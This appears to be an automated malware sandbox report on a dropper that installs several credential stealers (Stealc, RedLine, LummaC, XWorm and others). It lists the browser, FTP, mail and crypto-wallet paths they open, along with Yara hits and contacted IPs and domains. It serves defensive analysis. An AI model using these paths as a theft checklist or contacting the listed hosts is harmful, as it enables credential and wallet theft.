Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Tries to steal Crypto Currency Wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Guarda\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\ Jump to behavior
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
Yara detected Credential Stealer
Source: Yara match File source: 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.3153539765.00000000031B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2936243800.0000000002F1B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 5580, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: hjhTHr6fWy.exe PID: 1856, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: stealc_default2.exe PID: 528, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 6472, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected CryptOne packer
Source: Yara match File source: 00000016.00000002.2960319681.0000000003119000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: stealc_default2.exe PID: 528, type: MEMORYSTR
Yara detected PureLog Stealer
Source: Yara match File source: 24.0.penis.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000018.00000000.2860928710.0000000000CA2000.00000002.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\penis[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, type: DROPPED
Yara detected RedLine Stealer
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 7.2.gold.exe.37a5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.hjhTHr6fWy.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.gold.exe.37a5570.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.RegAsm.exe.436080.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.RegAsm.exe.436080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 27.2.crypted.exe.39e5570.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 35.0.newbundle2.exe.c20000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.2695505270.00000000037A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2858375876.0000000000421000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.2951592112.0000000000C41000.00000002.00000001.01000000.00000022.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.2955093646.0000000003A05000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.3088502787.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.2743413238.0000000000982000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2744142845.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: gold.exe PID: 2972, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 5580, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 1712, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: hjhTHr6fWy.exe PID: 1856, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: penis.exe PID: 7152, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: crypted.exe PID: 2956, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 6472, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\newbundle2[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe, type: DROPPED
Yara detected Socks5Systemz
Source: Yara match File source: 00000017.00000002.3340691563.000000000279D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: fidovideorecorder32_64.exe PID: 3288, type: MEMORYSTR
Yara detected Stealc
Source: Yara match File source: 19.0.stealc_default2.exe.f50000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.needmoney.exe.30ea4b9.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.needmoney.exe.3740000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.needmoney.exe.3710000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.needmoney.exe.3710000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.needmoney.exe.30ea4b9.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.needmoney.exe.3740000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.stealc_default2.exe.f50000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000020.00000002.3006538986.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2994583849.000000000079E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000000.2774274390.0000000000F51000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2996521135.0000000000F51000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.2972396756.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.2971489446.0000000003710000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: stealc_default2.exe PID: 528, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\stealc_default2[1].exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: Process Memory Space: stealc_default2.exe PID: 528, type: MEMORYSTR
Yara detected XWorm
Source: Yara match File source: 37.2.InstallUtil.exe.800000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.2.rstxdhuj.exe.4141590.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.2.rstxdhuj.exe.418fdb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000024.00000002.3118723302.0000000004141000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.3332091327.0000000000802000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.3009810672.0000000003211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected zgRAT
Source: Yara match File source: 24.0.penis.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\penis[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, type: DROPPED
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001BEAA8 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext, 16_2_001BEAA8
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001BDDB1 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext, 16_2_001BDDB1
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_0023EAA8 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext, 17_2_0023EAA8
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_0023DDB1 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext, 17_2_0023DDB1
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1520057 Sample: file.exe Startdate: 27/09/2024 Architecture: WINDOWS Score: 100 115 vozmeatillu.shop 2->115 117 stogeneratmns.shop 2->117 119 13 other IPs or domains 2->119 151 Multi AV Scanner detection for domain / URL 2->151 153 Suricata IDS alerts for network traffic 2->153 155 Found malware configuration 2->155 157 30 other signatures 2->157 9 axplong.exe 2 55 2->9         started        14 file.exe 5 2->14         started        16 Hkbsse.exe 2->16         started        18 3 other processes 2->18 signatures3 process4 dnsIp5 127 185.215.113.16, 49710, 49712, 49715 WHOLESALECONNECTIONSNL Portugal 9->127 129 185.215.113.26, 49716, 49721, 49726 WHOLESALECONNECTIONSNL Portugal 9->129 135 3 other IPs or domains 9->135 99 C:\Users\user\AppData\Local\Temp\...\neon.exe, PE32+ 9->99 dropped 101 C:\Users\user\AppData\...\2a8f2f9086.exe, PE32 9->101 dropped 103 C:\Users\user\AppData\...\c9a37ab27e.exe, PE32 9->103 dropped 113 25 other malicious files 9->113 dropped 197 Creates multiple autostart registry keys 9->197 199 Hides threads from debuggers 9->199 201 Tries to detect sandboxes / dynamic malware analysis system (registry check) 9->201 20 stealc_default2.exe 9->20         started        25 12dsvc.exe 9->25         started        27 gold.exe 2 9->27         started        35 8 other processes 9->35 105 C:\Users\user\AppData\Local\...\axplong.exe, PE32 14->105 dropped 107 C:\Users\user\...\axplong.exe:Zone.Identifier, ASCII 14->107 dropped 203 Detected unpacking (changes PE section rights) 14->203 205 Tries to evade debugger and weak emulator (self modifying code) 14->205 207 Tries to detect virtualization through RDTSC time measurements 14->207 209 Potentially malicious time measurement code found 14->209 29 axplong.exe 14->29         started        131 176.113.115.95, 49724, 80 SELECTELRU Russian Federation 16->131 109 C:\Users\user\AppData\Local\...\stories.exe, PE32 16->109 dropped 111 C:\Users\user\AppData\...\stories[1].exe, PE32 16->111 dropped 31 stories.exe 16->31         started        133 127.0.0.1 unknown unknown 18->133 211 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 18->211 33 WerFault.exe 18->33         started        file6 signatures7 process8 dnsIp9 121 185.215.113.17, 49722, 80 WHOLESALECONNECTIONSNL Portugal 20->121 71 C:\Users\user\AppData\...\softokn3[1].dll, PE32 20->71 dropped 73 C:\Users\user\AppData\Local\...\nss3[1].dll, PE32 20->73 dropped 75 C:\Users\user\AppData\...\mozglue[1].dll, PE32 20->75 dropped 85 9 other files (5 malicious) 20->85 dropped 159 Tries to steal Mail credentials (via file / registry access) 20->159 161 Found many strings related to Crypto-Wallets (likely being stolen) 20->161 163 Tries to harvest and steal ftp login credentials 20->163 177 3 other signatures 20->177 179 3 other signatures 25->179 37 RegAsm.exe 25->37         started        41 conhost.exe 25->41         started        165 Contains functionality to inject code into remote processes 27->165 43 RegAsm.exe 6 24 27->43         started        46 conhost.exe 27->46         started        167 Detected unpacking (changes PE section rights) 29->167 169 Tries to detect sandboxes and other dynamic analysis tools (window names) 29->169 181 5 other signatures 29->181 77 C:\Users\user\AppData\Local\...\stories.tmp, PE32 31->77 dropped 48 stories.tmp 31->48         started        123 185.215.113.67 WHOLESALECONNECTIONSNL Portugal 35->123 125 google.com 142.250.186.174 GOOGLEUS United States 35->125 79 C:\Users\user\AppData\Roaming\Ylrdnrwcx.exe, PE32 35->79 dropped 81 C:\Users\user\AppData\...\svchost015.exe, PE32 35->81 dropped 83 C:\Users\user\AppData\Local\...\Hkbsse.exe, PE32 35->83 dropped 171 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 35->171 173 Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines) 35->173 175 Creates multiple autostart registry keys 35->175 183 2 other signatures 35->183 50 RegAsm.exe 35->50         started        52 svchost015.exe 35->52         started        54 RegAsm.exe 35->54         started        56 8 other processes 35->56 file10 signatures11 process12 dnsIp13 87 C:\Users\user\AppData\...\qKLAD7yUjj.exe, PE32 37->87 dropped 89 C:\Users\user\AppData\...\hjhTHr6fWy.exe, PE32 37->89 dropped 185 LummaC encrypted strings found 37->185 58 hjhTHr6fWy.exe 37->58         started        62 qKLAD7yUjj.exe 37->62         started        139 95.179.250.45, 26212, 49714 AS-CHOOPAUS Netherlands 43->139 187 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 43->187 189 Installs new ROOT certificates 43->189 191 Found many strings related to Crypto-Wallets (likely being stolen) 43->191 193 Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines) 43->193 91 C:\Users\user\AppData\Local\...\_iscrypt.dll, PE32 48->91 dropped 93 C:\Users\user\AppData\...\unins000.exe (copy), PE32 48->93 dropped 95 C:\Users\user\AppData\Local\...\is-4OQD3.tmp, PE32 48->95 dropped 97 15 other files (7 malicious) 48->97 dropped 64 fidovideorecorder32_64.exe 48->64         started        141 89.105.223.196 NOVOSERVE-GMBH-ASFrankfurtGermanyNL Netherlands 50->141 195 Tries to steal Crypto Currency Wallets 50->195 143 91.202.233.158 M247GB Russian Federation 52->143 145 ballotnwu.site 104.21.2.13 CLOUDFLARENETUS United States 54->145 147 gutterydhowi.shop 104.21.4.136 CLOUDFLARENETUS United States 54->147 149 5 other IPs or domains 54->149 67 WerFault.exe 56->67         